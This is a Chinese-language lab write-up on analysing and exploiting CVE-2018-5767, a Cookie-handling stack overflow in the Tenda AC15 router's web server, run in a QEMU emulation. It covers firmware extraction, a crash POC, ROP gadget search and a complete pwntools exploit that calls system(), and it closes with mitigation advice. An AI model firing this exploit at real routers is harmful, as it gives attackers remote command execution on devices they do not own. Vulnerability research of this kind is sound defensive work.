cve-2018-5767 Tenda AC15 栈溢出漏洞调试
字数 1326 2025-08-22 12:22:48
CVE-2018-5767 Tenda AC15 栈溢出漏洞分析与利用
漏洞概述
CVE-2018-5767是Tenda AC15路由器中的一个栈溢出漏洞,存在于其HTTP服务组件中。该漏洞源于GoAhead Web服务器框架在处理HTTP请求时的Cookie参数验证不足,导致攻击者可以通过构造特制的HTTP请求触发栈溢出,进而实现远程代码执行。
环境准备
1. 获取漏洞固件
从Tenda官网下载含有漏洞的固件版本V15.03.1.16。
2. 解压固件
使用binwalk工具解压固件:
binwalk -Me firmware.bin
解压后可在bin/目录下找到httpd程序。
3. 逆向分析工具
使用IDA Pro进行逆向分析,识别程序使用的框架和漏洞点。
漏洞分析
1. 框架识别
通过分析httpd程序,发现以下特征:
- 存在
websUrlHandlerDefine等函数 - 字符串中包含"2.1.8"版本号
确定程序使用的是GoAhead 2.1.8框架。
2. 结构体定义
为方便逆向分析,需要定义以下关键结构体:
struct ringq_t {
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
};
struct websRec {
ringq_t header; /* Header dynamic string */
__time_t since; /* Parsed if-modified-since time */
char *cgiVars; /* CGI standard variables */
char *cgiQuery; /* CGI decoded query string */
__time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char ipaddr[32]; /* Connecting ipaddress */
char type[64]; /* Mime type */
char *dir; /* Directory containing the page */
char *path; /* Path name without query */
char *url; /* Full request url */
char *host; /* Requested host */
char *lpath; /* Cache local path name */
char *query; /* Request query */
char *decodedQuery; /* Decoded request query */
char *authType; /* Authorization type (Basic/DAA) */
char *password; /* Authorization password */
char *userName; /* Authorization username */
char *cookie; /* Cookie string */
char *userAgent; /* User agent (browser) */
char *protocol; /* Protocol (normally HTTP) */
char *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
};
3. 漏洞定位
漏洞位于R7WebsSecurityHandler函数中,具体问题在于:
- 使用
sscanf处理Cookie时未对长度进行限制 - 导致栈缓冲区溢出
4. 触发条件
要触发漏洞需要满足以下条件:
- URL值不能为空
- URL不能为""
- URL长度不能是1
- URL不能是"index.html"
仿真环境搭建
1. 使用QEMU模拟
sudo chroot . ./qemu-arm-static ./bin/httpd
2. 绕过检查
程序可能会卡在check_network()和ConnectCfm函数,需要patch掉:
- 直接修改二进制文件绕过这些检查
3. 网络接口配置
程序会尝试获取br0网络接口的IP地址,解决方法:
- 方法一:patch程序将
br0改为本地网卡(如ens160) - 方法二:在本地创建桥接网卡
br0
推荐使用方法二:
# 创建桥接网卡br0
4. 成功模拟
配置完成后,程序应正常启动并监听:
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
漏洞验证
1. 构造POC
import requests
ip = "192.168.5.179"
url = "http://%s/goform/execCommand" % ip
cookie = {"Cookir": "password=" + "A" * 501}
ret = requests.get(url=url, cookies=cookie)
print(ret.text)
2. 触发崩溃
运行POC后,程序应崩溃并产生segmentation fault:
[1] 16261 segmentation fault (core dumped) sudo chroot . ./qemu-arm-static ./httpd
漏洞利用
1. 调试设置
使用QEMU的-g参数开启调试:
sudo chroot . ./qemu-arm-static -g 1234 ./httpd
使用pwndbg连接调试:
gdb-multiarch -q ./httpd
target remote :1234
2. 绕过限制
发现程序在崩溃前会检查URL中的特定字符,需要绕过:
- 在payload中包含".gif"等特征字符串
修改后的POC:
from pwn import *
import requests
ip = "192.168.5.179"
url = "http://%s/goform/execCommand" % ip
cookie = {"Cookir": "password=" + cyclic(500) + ".gifAAAAAAAAAAAAA"}
ret = requests.get(url=url, cookies=cookie)
print(ret.text)
3. 计算偏移
通过调试确定溢出偏移为444字节。
4. ROP链构造
在libc中寻找合适的gadget:
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
ROPgadget --binary ./lib/libc.so.0 --only "pop"
找到关键gadget:
0x00040cb8 : mov r0, sp ; blx r30x00018298 : pop { r3, pc }
5. 最终EXP
from pwn import *
import requests
context.binary = "./httpd"
context.log_level = "debug"
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
libc_base_addr = 0xf65e5000
system_addr = libc_base_addr + system_offset
ip = "192.168.5.179"
url = "http://%s/goform/execCommand" % ip
cookie = {
"Cookir": "password=" + cyclic(444) + ".gif" +
flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8) +
"touch ./abcd"
}
ret = requests.get(url=url, cookies=cookie)
print(ret.text)
总结
- 漏洞成因:GoAhead框架处理Cookie时未进行长度检查导致栈溢出
- 利用条件:需要发送特制的HTTP请求到
/goform/execCommand路径 - 利用方法:通过ROP链实现任意命令执行
- 影响范围:Tenda AC15路由器特定固件版本
防护建议
- 升级到最新固件版本
- 对输入参数进行严格长度检查
- 启用栈保护机制(如Canary)
- 限制网络访问权限,仅允许可信IP访问管理界面